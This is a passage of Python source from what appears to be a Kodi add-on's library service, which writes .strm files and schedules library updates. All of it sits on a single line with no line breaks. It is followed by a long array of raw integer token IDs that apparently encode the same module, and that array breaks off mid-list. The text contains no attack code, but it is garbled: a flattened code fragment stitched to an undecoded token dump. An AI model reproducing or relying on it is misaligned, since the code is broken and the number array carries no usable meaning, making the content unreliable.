premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue libtvshows().strmFile(i) files_added += 1 except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def service(self): try: lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.movie')), '')) lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.tv')), '')) except: pass try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("SELECT * FROM service WHERE setting = 'last_run'") fetch = dbcur.fetchone() if fetch == None: serviceProperty = "1970-01-01 23:59:00.000000" dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() else: serviceProperty = str(fetch[1]) dbcon.close() except: try: return dbcon.close() except: return try: control.window.setProperty(self.property, serviceProperty) except: return while not xbmc.abortRequested: try: serviceProperty = control.window.getProperty(self.property) t1 = datetime.timedelta(hours=6) t2 = datetime.datetime.strptime(serviceProperty, '%Y-%m-%d %H:%M:%S.%f') t3 = datetime.datetime.now() check = abs(t3 - t2) > t1 if check == False: raise Exception() if (control.player.isPlaying() or control.condVisibility('Library.IsScanningVideo')): raise Exception() serviceProperty = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f') control.window.setProperty(self.property, serviceProperty) try: dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("DELETE FROM service WHERE setting = 'last_run'") dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() dbcon.close() except: try: dbcon.close() except: pass if not control.setting('library.service.update') == 'true': raise Exception() info = control.setting('library.service.notification') or 'true' self.update(info=info) except: pass control.sleep(10000)
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13383, 13383, 13383, 13383, 13383, 13, 29937, 891, 462, 462, 462, 462, 9651, 396, 13, 29937, 891, 268, 903, 27097, 27097, 27097, 14365, 7652, 29918, 308, 396, 13, 29937, 891, 268, 584, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 29901, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 1057, 1057, 1057, 1057, 1057, 1057, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 1057, 1057, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 29901, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 1057, 1057, 1057, 1057, 29901, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 29901, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 29901, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 1057, 1057, 1057, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 1057, 1057, 1057, 29901, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 1057, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 1057, 29901, 29947, 29947, 3045, 636, 29947, 29947, 1057, 29901, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 29901, 29871, 584, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 29874, 29901, 29947, 29947, 6317, 856, 29947, 29947, 29936, 29874, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 30022, 29947, 29874, 17580, 30022, 29947, 29947, 29947, 3045, 636, 29947, 29947, 30022, 1642, 29874, 29947, 29947, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 418, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 3045, 636, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29989, 4706, 396, 13, 29937, 891, 418, 25285, 25285, 25285, 11296, 3045, 636, 29989, 4706, 396, 13, 29937, 891, 418, 25285, 25285, 25285, 11296, 3045, 636, 29989, 4706, 396, 13, 29937, 891, 418, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 3045, 636, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29947, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 29947, 3045, 636, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 29901, 29947, 29947, 3045, 636, 29947, 29947, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 1057, 29901, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 1057, 1057, 29947, 29947, 3045, 636, 29947, 29947, 1057, 29901, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29989, 4706, 396, 29871, 13, 29937, 891, 268, 584, 1057, 1057, 1057, 1057, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 1057, 1057, 1057, 29901, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 1057, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 1057, 29901, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 29901, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 1057, 29901, 29989, 4706, 396, 13, 29937, 891, 268, 584, 1057, 29874, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 1057, 1057, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 1057, 1057, 29989, 4706, 396, 13, 29937, 891, 268, 263, 29947, 29947, 29947, 30022, 1642, 29874, 29947, 30022, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29947, 29947, 3045, 636, 29947, 29947, 1057, 1057, 1057, 1057, 1057, 1057, 1057, 29901, 30022, 29947, 29947, 29947, 29874, 1213, 30022, 29947, 29936, 29901, 29989, 4706, 396, 13, 29937, 891, 462, 462, 462, 462, 9651, 396, 13, 29937, 891, 1678, 12936, 7515, 3462, 265, 462, 462, 462, 965, 396, 13, 29937, 891, 1678, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29955, 8045, 8096, 462, 462, 1669, 396, 13, 29937, 891, 462, 462, 462, 462, 9651, 396, 13, 29937, 891, 1678, 910, 1824, 338, 3889, 7047, 29901, 366, 508, 2654, 391, 2666, 372, 322, 29914, 272, 6623, 1678, 396, 13, 29937, 891, 1678, 372, 1090, 278, 4958, 310, 278, 15143, 4593, 5236, 19245, 408, 6369, 491, 1678, 396, 13, 29937, 891, 1678, 278, 12362, 18540, 10606, 29892, 2845, 1873, 29871, 29941, 310, 278, 19245, 29892, 470, 539, 396, 13, 29937, 891, 1678, 313, 271, 596, 2984, 29897, 738, 2678, 1873, 29889, 462, 462, 268, 396, 13, 29937, 891, 462, 462, 462, 462, 9651, 396, 13, 29937, 891, 1678, 910, 1824, 338, 13235, 297, 278, 4966, 393, 372, 674, 367, 5407, 29892, 308, 396, 13, 29937, 891, 1678, 541, 399, 1806, 8187, 2692, 13764, 29979, 399, 1718, 29934, 13566, 29979, 29936, 1728, 1584, 278, 2411, 2957, 1370, 21867, 29891, 310, 3986, 396, 13, 29937, 891, 1678, 341, 1001, 3210, 13566, 2882, 6227, 11937, 470, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 29889, 29871, 2823, 278, 965, 396, 13, 29937, 891, 1678, 15143, 4593, 5236, 19245, 363, 901, 4902, 29889, 462, 9651, 396, 13, 29937, 891, 462, 462, 462, 462, 9651, 396, 13, 13383, 13383, 13383, 13383, 13383, 13, 13, 13, 2202, 29901, 13, 1678, 515, 21120, 29941, 1053, 4833, 2754, 29906, 408, 2566, 13, 19499, 29901, 13, 1678, 515, 282, 952, 1519, 568, 29906, 1053, 4833, 2754, 29906, 408, 2566, 13, 13, 5215, 12865, 13, 5215, 4390, 13, 5215, 2897, 13, 5215, 337, 13, 5215, 10876, 13, 5215, 3142, 1982, 13, 5215, 3142, 5510, 13, 5215, 921, 5838, 29883, 13, 13, 3166, 7788, 29889, 1982, 29889, 7576, 1053, 2761, 13, 3166, 7788, 29889, 1982, 29889, 7576, 1053, 4531, 424, 1740, 13, 13, 1990, 4303, 29918, 8504, 29901, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1653, 29918, 12083, 29898, 12083, 1125, 13, 4706, 1018, 29901, 13, 9651, 4138, 353, 921, 5838, 29883, 29889, 5675, 22988, 284, 3434, 3871, 29898, 12083, 29897, 13, 9651, 2761, 29889, 5675, 2283, 29898, 12083, 29897, 13, 13, 9651, 1018, 29901, 13, 18884, 565, 451, 525, 23102, 597, 29915, 297, 4138, 29901, 12020, 8960, 580, 13, 18884, 515, 285, 9392, 1982, 1053, 383, 3557, 13, 18884, 11791, 862, 29887, 353, 337, 29889, 12198, 877, 23102, 597, 11891, 29974, 29973, 1125, 11891, 29974, 7897, 29992, 11891, 29974, 29973, 1125, 29973, 1194, 29881, 29974, 6877, 29914, 11891, 29974, 29914, 7897, 2824, 2886, 497, 29898, 12083, 29897, 13, 18884, 285, 9392, 353, 383, 3557, 29898, 615, 862, 29887, 29961, 29900, 3816, 29906, 1402, 11791, 862, 29887, 29961, 29900, 3816, 29900, 1402, 11791, 862, 29887, 29961, 29900, 3816, 29896, 2314, 13, 18884, 1018, 29901, 13, 462, 1678, 285, 9392, 29889, 29883, 9970, 29898, 615, 862, 29887, 29961, 29900, 3816, 29946, 2314, 13, 18884, 5174, 29901, 13, 462, 1678, 285, 9392, 29889, 11256, 29881, 29898, 615, 862, 29887, 29961, 29900, 3816, 29946, 2314, 13, 18884, 285, 9392, 29889, 28358, 580, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 2436, 29918, 1445, 29898, 2084, 29892, 2793, 1125, 13, 4706, 1018, 29901, 13, 9651, 2224, 353, 921, 5838, 29883, 29889, 5675, 22988, 284, 3434, 3871, 29898, 2084, 29897, 13, 9651, 565, 451, 338, 8758, 29898, 3051, 29892, 2362, 342, 5393, 1125, 13, 18884, 2793, 353, 851, 29898, 3051, 29897, 13, 13, 9651, 934, 353, 2761, 29889, 3150, 2283, 29898, 2084, 29892, 525, 29893, 1495, 13, 9651, 934, 29889, 3539, 29898, 710, 29898, 3051, 876, 13, 9651, 934, 29889, 5358, 580, 13, 4706, 5174, 8960, 408, 321, 29901, 13, 9651, 1209, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 302, 1181, 29918, 2271, 29898, 9799, 29918, 1807, 29892, 18999, 1125, 13, 4706, 9631, 2585, 29918, 2271, 353, 525, 1124, 597, 386, 300, 29894, 2585, 29889, 510, 13401, 3891, 29922, 13757, 29987, 333, 16328, 29879, 29915, 13, 4706, 27702, 2585, 29918, 2271, 353, 525, 991, 597, 1636, 29889, 386, 331, 586, 1000, 29890, 29889, 990, 22584, 29879, 22584, 29879, 29915, 13, 4706, 527, 2585, 29918, 2271, 353, 525, 1124, 597, 1636, 29889, 326, 2585, 29889, 510, 29914, 3257, 22584, 29879, 22208, 13, 13, 4706, 565, 525, 12427, 2585, 29915, 297, 18999, 29901, 13, 9651, 736, 9631, 2585, 29918, 2271, 1273, 313, 710, 29898, 4841, 1839, 12427, 2585, 25901, 13, 4706, 25342, 525, 18276, 2585, 29915, 297, 18999, 29901, 13, 9651, 736, 27702, 2585, 29918, 2271, 1273, 313, 9799, 29918, 1807, 29892, 851, 29898, 4841, 1839, 18276, 2585, 25901, 13, 4706, 25342, 525, 326, 2585, 29915, 297, 18999, 29901, 13, 9651, 736, 527, 2585, 29918, 2271, 1273, 313, 710, 29898, 4841, 1839, 326, 2585, 25901, 13, 4706, 1683, 29901, 13, 9651, 736, 6629, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1423, 29918, 29879, 2863, 29898, 3257, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29922, 8516, 29892, 4259, 29922, 8516, 29892, 12720, 29922, 8516, 29892, 9631, 4294, 3257, 29922, 8516, 29892, 7017, 287, 29922, 8516, 1125, 13, 4706, 1018, 29901, 13, 9651, 515, 7788, 29889, 1982, 29889, 7576, 1053, 8974, 13, 9651, 4765, 353, 8974, 29889, 29879, 2863, 2141, 657, 29903, 2863, 29898, 3257, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29892, 4259, 29892, 12720, 29892, 9631, 4294, 3257, 29892, 7017, 287, 29897, 13, 9651, 736, 4765, 322, 7431, 29898, 4351, 29897, 1405, 29871, 29945, 13, 4706, 5174, 29901, 13, 9651, 736, 7700, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 11706, 29918, 9507, 29898, 9507, 1125, 13, 4706, 1018, 29901, 13, 9651, 10422, 353, 10422, 29889, 17010, 580, 13, 9651, 10422, 353, 337, 29889, 1491, 29898, 29878, 29915, 10780, 29991, 29995, 29879, 9601, 3823, 29893, 29905, 29899, 3187, 5586, 742, 15300, 742, 10422, 29897, 13, 9651, 10422, 353, 337, 29889, 1491, 877, 23301, 29974, 742, 15300, 742, 10422, 29897, 13, 9651, 10422, 353, 337, 29889, 1491, 29898, 276, 29889, 12198, 877, 29898, 6007, 29989, 10593, 29940, 29989, 25951, 29990, 29989, 11601, 29931, 29989, 19795, 29905, 29881, 29989, 29931, 7982, 29905, 29881, 2144, 29889, 742, 337, 29889, 29902, 511, 525, 1966, 29896, 29918, 742, 10422, 29897, 13, 9651, 921, 5838, 29883, 29889, 5675, 22988, 284, 3434, 3871, 29898, 9507, 29897, 13, 9651, 736, 10422, 13, 4706, 5174, 29901, 13, 9651, 736, 10422, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1207, 29918, 2084, 29898, 3188, 29918, 2084, 29892, 3611, 29892, 1629, 2433, 742, 4259, 2433, 29374, 13, 4706, 1510, 29918, 12083, 353, 337, 29889, 1491, 29898, 29878, 29915, 29961, 3823, 29893, 29905, 29899, 3187, 29889, 4514, 742, 22868, 742, 3611, 29897, 13, 4706, 1510, 29918, 12083, 353, 14210, 29879, 313, 29995, 29879, 16029, 1273, 313, 4294, 29918, 12083, 29892, 1629, 29897, 565, 1629, 1683, 1510, 29918, 12083, 13, 4706, 2224, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3188, 29918, 2084, 29892, 1510, 29918, 12083, 29897, 13, 4706, 565, 4259, 29901, 13, 9651, 2224, 353, 2897, 29889, 2084, 29889, 7122, 29898, 2084, 29892, 525, 2008, 1658, 1273, 29879, 29915, 1273, 4259, 29897, 13, 4706, 736, 2224, 13, 13, 1990, 4303, 13529, 583, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 5258, 29918, 12083, 353, 2897, 29889, 2084, 29889, 7122, 29898, 6451, 29889, 3286, 2605, 29898, 6451, 29889, 26740, 877, 5258, 29889, 27362, 1495, 511, 27255, 13, 13, 4706, 1583, 29889, 3198, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 3198, 29918, 27362, 1495, 470, 525, 4541, 29915, 13, 4706, 1583, 29889, 5258, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 5504, 1495, 470, 525, 3009, 29915, 13, 4706, 1583, 29889, 700, 412, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 3198, 1495, 470, 525, 3009, 29915, 13, 13, 4706, 1583, 29889, 3888, 7647, 353, 7700, 13, 13, 13, 1678, 822, 788, 29898, 1311, 29892, 1024, 29892, 3611, 29892, 1629, 29892, 527, 2585, 29892, 27702, 2585, 29892, 3464, 29922, 8824, 1125, 13, 4706, 565, 451, 2761, 29889, 1116, 23318, 877, 5907, 29889, 3624, 12911, 29898, 7192, 397, 3658, 29897, 1495, 322, 451, 2761, 29889, 1116, 23318, 877, 9075, 29889, 14510, 15167, 29374, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29906, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 3888, 7647, 353, 5852, 13, 13, 4706, 1018, 29901, 13, 9651, 565, 451, 1583, 29889, 700, 412, 29918, 26740, 1275, 525, 3009, 2396, 12020, 8960, 580, 13, 13, 9651, 1178, 353, 518, 326, 2585, 29892, 27702, 2585, 29962, 565, 451, 27702, 2585, 1275, 525, 29900, 29915, 1683, 518, 326, 2585, 29962, 13, 9651, 4303, 353, 2761, 29889, 3126, 29878, 6739, 877, 6377, 3126, 29878, 6739, 1115, 376, 29906, 29889, 29900, 613, 376, 5696, 1115, 376, 15167, 12284, 29889, 2577, 29924, 586, 583, 613, 376, 7529, 1115, 8853, 4572, 28819, 272, 1115, 518, 6377, 2671, 1115, 376, 6360, 613, 376, 6891, 1115, 376, 275, 613, 376, 1767, 1115, 11860, 29879, 10758, 8853, 2671, 1115, 376, 6360, 613, 376, 6891, 1115, 376, 275, 613, 376, 1767, 1115, 11860, 29879, 10758, 8853, 2671, 1115, 376, 6360, 613, 376, 6891, 1115, 376, 275, 613, 376, 1767, 1115, 11860, 29879, 29908, 6525, 1118, 376, 11330, 29908, 584, 6796, 326, 2585, 4537, 613, 376, 13492, 3257, 613, 376, 6360, 3108, 1118, 376, 333, 1115, 29871, 29896, 10162, 1273, 313, 6360, 29892, 851, 29898, 524, 29898, 6360, 7240, 29896, 511, 851, 29898, 524, 29898, 6360, 6817, 29896, 4961, 13, 9651, 4303, 353, 29104, 29898, 1982, 29892, 525, 9420, 29899, 29947, 742, 4436, 2433, 17281, 1495, 13, 9651, 4303, 353, 4390, 29889, 18132, 29898, 1982, 29897, 1839, 2914, 16215, 13529, 583, 2033, 13, 9651, 4303, 353, 518, 29875, 363, 474, 297, 4303, 565, 851, 29898, 29875, 1839, 326, 2585, 4537, 11287, 297, 1178, 470, 313, 29875, 1839, 13492, 3257, 13359, 12508, 877, 9420, 29899, 29947, 1495, 1275, 3611, 322, 851, 29898, 29875, 1839, 6360, 11287, 1275, 1629, 29897, 3816, 29900, 29962, 13, 4706, 5174, 29901, 13, 9651, 4303, 353, 5159, 13, 13, 4706, 2066, 29918, 23959, 353, 29871, 29900, 13, 13, 4706, 1018, 29901, 13, 9651, 565, 451, 4303, 1275, 5159, 29901, 12020, 8960, 580, 13, 13, 9651, 565, 1583, 29889, 3198, 29918, 26740, 1275, 525, 3009, 2396, 13, 18884, 4765, 353, 4303, 29918, 8504, 29889, 3198, 29918, 29879, 2863, 29898, 3257, 29892, 1629, 29892, 527, 2585, 29892, 6213, 29892, 6213, 29892, 6213, 29892, 6213, 29892, 6213, 29897, 13, 18884, 565, 451, 4765, 29901, 12020, 8960, 580, 13, 13, 9651, 1583, 29889, 710, 29885, 2283, 3319, 29915, 978, 2396, 1024, 29892, 525, 3257, 2396, 3611, 29892, 525, 6360, 2396, 1629, 29892, 525, 326, 2585, 2396, 527, 2585, 29892, 525, 18276, 2585, 2396, 27702, 2585, 1800, 13, 9651, 2066, 29918, 23959, 4619, 29871, 29896, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 4706, 565, 3464, 1275, 5852, 29901, 736, 13, 13, 4706, 565, 1583, 29889, 3888, 7647, 1275, 5852, 29901, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29946, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29897, 13, 13, 4706, 565, 1583, 29889, 5258, 29918, 26740, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 1495, 322, 2066, 29918, 23959, 1405, 29871, 29900, 29901, 13, 9651, 2761, 29889, 7978, 877, 6422, 12284, 29898, 9641, 29897, 1495, 13, 13, 13, 1678, 822, 3464, 29898, 1311, 29892, 3142, 1125, 13, 4706, 2761, 29889, 333, 280, 580, 13, 13, 4706, 4874, 353, 2761, 29889, 3582, 1217, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29945, 467, 12508, 877, 9420, 29899, 29947, 5477, 15516, 27255, 13, 4706, 565, 451, 4874, 29901, 736, 13, 13, 4706, 565, 451, 2761, 29889, 1116, 23318, 877, 5907, 29889, 3624, 12911, 29898, 7192, 397, 3658, 29897, 1495, 322, 451, 2761, 29889, 1116, 23318, 877, 9075, 29889, 14510, 15167, 29374, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29906, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 3888, 7647, 353, 5852, 13, 13, 4706, 515, 7788, 29889, 1982, 29889, 2248, 414, 1053, 2351, 583, 13, 4706, 4452, 353, 2351, 583, 29889, 13529, 583, 2141, 657, 29898, 2271, 29892, 22645, 29922, 8824, 29897, 13, 4706, 565, 4452, 1275, 6213, 29901, 4452, 353, 5159, 13, 13, 4706, 363, 474, 297, 4452, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 1275, 5852, 29901, 736, 10876, 29889, 13322, 580, 13, 18884, 1583, 29889, 1202, 877, 29995, 29879, 313, 29995, 29879, 16029, 1273, 313, 29875, 1839, 3257, 7464, 474, 1839, 6360, 2033, 511, 474, 1839, 3257, 7464, 474, 1839, 6360, 7464, 474, 1839, 326, 2585, 7464, 474, 1839, 18276, 2585, 7464, 3464, 29922, 5574, 29897, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 4706, 565, 1583, 29889, 3888, 7647, 1275, 5852, 29901, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29946, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29897, 13, 13, 4706, 565, 1583, 29889, 5258, 29918, 26740, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 29374, 13, 9651, 2761, 29889, 7978, 877, 6422, 12284, 29898, 9641, 29897, 1495, 13, 13, 13, 1678, 822, 851, 29885, 2283, 29898, 1311, 29892, 474, 1125, 13, 4706, 1018, 29901, 13, 9651, 1024, 29892, 3611, 29892, 1629, 29892, 527, 2585, 29892, 27702, 2585, 353, 474, 1839, 978, 7464, 474, 1839, 3257, 7464, 474, 1839, 6360, 7464, 474, 1839, 326, 2585, 7464, 474, 1839, 18276, 2585, 2033, 13, 13, 9651, 10876, 978, 29892, 13107, 1740, 353, 3142, 1982, 29889, 1396, 29918, 11242, 29898, 978, 511, 3142, 1982, 29889, 1396, 29918, 11242, 29898, 3257, 29897, 13, 13, 9651, 534, 16220, 1740, 353, 4531, 424, 1740, 29889, 8945, 675, 29898, 3257, 29889, 21652, 29898, 8516, 29892, 11297, 24676, 29930, 3026, 25299, 29989, 8785, 13, 13, 9651, 2793, 353, 14210, 29879, 29973, 2467, 29922, 1456, 29987, 978, 16328, 29879, 29987, 3257, 16328, 29879, 29987, 6360, 16328, 29879, 29987, 326, 2585, 16328, 29879, 29987, 18276, 2585, 16328, 29879, 29915, 1273, 313, 9675, 29889, 19218, 29961, 29900, 1402, 10876, 978, 29892, 13107, 1740, 29892, 1629, 29892, 527, 2585, 29892, 27702, 2585, 29897, 13, 13, 9651, 4138, 353, 4303, 29918, 8504, 29889, 5675, 29918, 2084, 29898, 1311, 29889, 5258, 29918, 12083, 29892, 534, 16220, 1740, 29892, 1629, 29897, 13, 13, 9651, 4303, 29918, 8504, 29889, 3258, 29918, 12083, 29898, 12083, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3539, 29918, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12083, 29892, 4303, 29918, 8504, 29889, 12018, 29918, 9507, 29898, 509, 16220, 1740, 29897, 718, 15300, 710, 29885, 5477, 2793, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3539, 29918, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12083, 29892, 525, 27362, 29889, 29876, 1181, 5477, 4303, 29918, 8504, 29889, 29876, 1181, 29918, 2271, 877, 27362, 742, 474, 876, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 13, 1990, 619, 3116, 29894, 845, 1242, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 5258, 29918, 12083, 353, 2897, 29889, 2084, 29889, 7122, 29898, 6451, 29889, 3286, 2605, 29898, 6451, 29889, 26740, 877, 5258, 29889, 12427, 1495, 511, 29915, 1495, 13, 13, 4706, 1583, 29889, 3259, 353, 2761, 29889, 3259, 580, 13, 13, 4706, 1583, 29889, 3198, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 3198, 29918, 1022, 275, 356, 1495, 470, 525, 4541, 29915, 13, 4706, 1583, 29889, 2856, 29918, 26690, 353, 2761, 29889, 26740, 877, 5258, 29889, 2856, 29918, 26690, 1495, 470, 525, 3009, 29915, 13, 4706, 1583, 29889, 5258, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 5504, 1495, 470, 525, 3009, 29915, 13, 4706, 1583, 29889, 700, 412, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 3198, 1495, 470, 525, 3009, 29915, 13, 13, 4706, 1583, 29889, 12673, 353, 313, 12673, 29889, 12673, 29889, 329, 29883, 3707, 580, 448, 12865, 29889, 9346, 287, 2554, 29898, 29882, 2470, 353, 29871, 29945, 876, 13, 4706, 1583, 29889, 1256, 353, 313, 1311, 29889, 12673, 448, 12865, 29889, 9346, 287, 2554, 29898, 29882, 2470, 353, 29871, 29906, 29946, 8106, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 1495, 13, 13, 4706, 1583, 29889, 3888, 7647, 353, 7700, 13, 4706, 1583, 29889, 1271, 353, 7700, 13, 13, 13, 1678, 822, 788, 29898, 1311, 29892, 9631, 4294, 3257, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29892, 3464, 29922, 8824, 1125, 13, 4706, 565, 451, 2761, 29889, 1116, 23318, 877, 5907, 29889, 3624, 12911, 29898, 7192, 397, 3658, 29897, 1495, 322, 451, 2761, 29889, 1116, 23318, 877, 9075, 29889, 14510, 15167, 29374, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29906, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 